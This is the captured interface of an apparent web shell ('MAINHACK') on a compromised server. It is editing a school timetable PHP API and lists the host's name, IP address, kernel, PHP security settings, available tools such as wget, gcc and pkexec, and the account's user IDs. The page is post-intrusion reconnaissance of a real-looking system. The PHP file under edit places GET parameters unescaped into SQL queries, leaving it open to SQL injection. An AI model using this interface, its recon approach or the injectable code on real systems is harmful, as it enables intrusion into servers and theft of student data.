[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: api_timetable.php
<?php header("Content-Type: application/json"); header("Access-Control-Allow-Origin: *"); header("Access-Control-Allow-Methods: GET"); include("../functions.php"); // gives $new connection // Accept parameters from GET or SESSION $index_no = $_GET['index_no'] ?? $_SESSION['student_id0023894'] ?? $_SESSION['index_no78897498'] ?? ''; $school_code = $_GET['school_code'] ?? $_SESSION['myschoolcode'] ?? ''; if (!$index_no || !$school_code) { echo json_encode([ "status" => "error", "message" => "Missing required parameters (index_no, school_code)" ]); exit(); } /* |-------------------------------------------------------------------------- | 1. FIND STUDENT CLASS ID |-------------------------------------------------------------------------- */ $qClass = mysqli_query($new, "SELECT class_id FROM enrol_details WHERE s_code = '$school_code' AND schoolID = '$index_no' LIMIT 1"); if (!$qClass || mysqli_num_rows($qClass) == 0) { echo json_encode(["status" => "error", "message" => "Class not found for student"]); exit(); } $class_row = mysqli_fetch_assoc($qClass); $class_id = $class_row['class_id']; /* |-------------------------------------------------------------------------- | 2. GET PROGRAM ID FOR CLASS |-------------------------------------------------------------------------- */ $qProg = mysqli_query($new, "SELECT program_id FROM class WHERE s_code = '$school_code' AND cid = '$class_id' LIMIT 1"); $prog_row = mysqli_fetch_assoc($qProg); $program_id = $prog_row['program_id'] ?? null; /* |-------------------------------------------------------------------------- | 3. GET PROGRAM NAME |-------------------------------------------------------------------------- */ $program_name = ""; if ($program_id) { $qProgName = mysqli_query($new, "SELECT program_name FROM programme WHERE s_code = '$school_code' AND progid = '$program_id' LIMIT 1"); $pname = mysqli_fetch_assoc($qProgName); $program_name = $pname['program_name'] ?? ""; } // If no program name found, fallback to enrol_details if (empty($program_name)) { $qFallback = mysqli_query($new, "SELECT programe FROM enrol_details WHERE s_code = '$school_code' AND schoolID = '$index_no' LIMIT 1"); $fallback = mysqli_fetch_assoc($qFallback); $program_name = $fallback['programe'] ?? ""; } if (empty($program_name)) { echo json_encode(["status" => "error", "message" => "Program not found"]); exit(); } /* |-------------------------------------------------------------------------- | 4. GET TIMETABLE RECORDS |-------------------------------------------------------------------------- */ $qTime = mysqli_query($new, "SELECT DISTINCT semester, s_code, programName, academic_year FROM timetable1 WHERE s_code = '$school_code' AND programName = '$program_name' ORDER BY academic_year DESC, semester ASC"); if (!$qTime) { echo json_encode(["status" => "error", "message" => mysqli_error($new)]); exit(); } if (mysqli_num_rows($qTime) == 0) { echo json_encode(["status" => "success", "data" => []]); exit(); } /* |-------------------------------------------------------------------------- | 5. FORMAT OUTPUT FOR MOBILE APP |-------------------------------------------------------------------------- */ $output = []; $cnt = 1; while ($row = mysqli_fetch_assoc($qTime)) { $output[] = [ "no" => $cnt++, "school_code" => $row['s_code'], "programme" => $row['programName'], "semester" => $row['semester'], "academic_year" => $row['academic_year'], "view_link" => "print-timetable?s_code=" . urlencode($row['s_code']) . "&semester=" . urlencode($row['semester']) ]; } /* |-------------------------------------------------------------------------- | 6. SEND JSON RESPONSE |-------------------------------------------------------------------------- */ echo json_encode([ "status" => "success", "student" => $index_no, "program" => $program_name, "data" => $output ], JSON_PRETTY_PRINT); ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.73 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002